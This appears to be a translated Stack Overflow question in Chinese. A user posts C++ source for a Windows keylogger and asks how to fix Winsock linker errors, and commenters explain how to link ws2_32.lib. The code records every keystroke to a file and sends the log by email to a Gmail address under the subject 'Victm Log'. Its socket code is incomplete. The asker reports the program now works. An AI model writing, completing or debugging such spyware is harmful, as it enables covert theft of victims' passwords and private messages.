【发布时间】:2020-06-25 19:13:23
【问题描述】:
我在 Code Blocks IDE 上编写了这段代码,但出现以下错误:
undefined reference to wsastartup@8'
undefined reference to `gethostbyname@4'
undefined reference to `connect@12'
undefined reference to `send@16'
undefined reference to `closesocket@4'
undefined reference to `WSACleanup@0'
我尝试修改 GCC 编译器,但没有成功。
有人可以帮我完成这个程序吗?
#include <windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>
#define KEY_PRESSED -32767
FILE *file;
void sendEmail(char *server, char *to, char *from, char *subject, char *message);
int main(int arg, char *argv[])
{
char key;
int index;
int lenght;
char *buffer;
file = fopen("Keylogger.txt", "a+");
if(file != NULL)
{
while(true)
{
Sleep(10);
for(key = 8; key <= 255; key++)
{
file = fopen("Keylogger.txt", "a+");
if(GetAsyncKeyState(key) == KEY_PRESSED)
{
switch(key)
{
case VK_SPACE:
fprintf(file, " ");
break;
case VK_RETURN:
fprintf(file, "\n");
break;
case VK_SHIFT:
fprintf(file, "Shift*");
break;
case VK_BACK:
fprintf(file, "\b");
break;
case VK_RBUTTON:
fprintf(file, "*rclick");
break;
case 188:
fprintf(file, ",");
case 198:
fprintf(file, ".");
break;
default:
fprintf(file, "%c", key);
break;
}
}
fclose(file);
}
file = fopen("keylogger.txt", "rb");
fseek(file, 0, SEEK_END);
lenght = ftell(file);
if(lenght >= 60)
{
fseek(file, 0, SEEK_SET);
buffer = (char*)malloc(lenght);
index = fread(buffer, 1, lenght, file);
buffer[index] = '\0';
sendEmail("gmail-smtp-in.l.google.com", "francorodrigognr@gmail.com", "francorodrigognr@gmail.com", "Victm Log", buffer);
fclose(file);
file = fopen("Keylogger.txt", "w");
}fclose(file);
}
}
return 0;
}
void sendEmail(char *server, char *to, char *from, char *subject, char *message)
{
SOCKET sockfd;
WSADATA wsaData;
hostent *host;
sockaddr_in dest;
int sent;
char line[200];
if(WSAStartup(0x202, &wsaData) != SOCKET_ERROR)
{
if((host = gethostbyname(server)) != NULL)
{
memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host -> h_addr, host->h_length);
connect(sockfd, (struct sockaddr*)&dest, sizeof(dest));
strcpy(line, "hello me someplace.com\n");
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);
}
}
closesocket(sockfd);
WSACleanup();
}
【问题讨论】:
-
@mkrieger1 问题是关于未定义的引用错误,而不是未声明。未声明的标识符和对标识符的未定义引用在 C++ 中有两个非常不同的原因。 “你希望它在哪里声明?”即使它应该来自
Winsock2.h,我怀疑Windows.h也包含它。 -
正如
WSAStartup的文档中所解释的那样(例如),声明您应该与Ws2_32.lib链接,您这样做了吗?请告诉我们您是如何编译/链接您的应用程序的。 -
我不是那样的。如何链接 ws2_32.lib?
-
您可能想查阅 Code::Blocks 中有关如何链接到库的文档。这是一个 StackOverflow 问题:https://stackoverflow.com/questions/5862757/how-do-i-link-to-a-library-with-codeblocks
-
谢谢伙计。现在正在工作!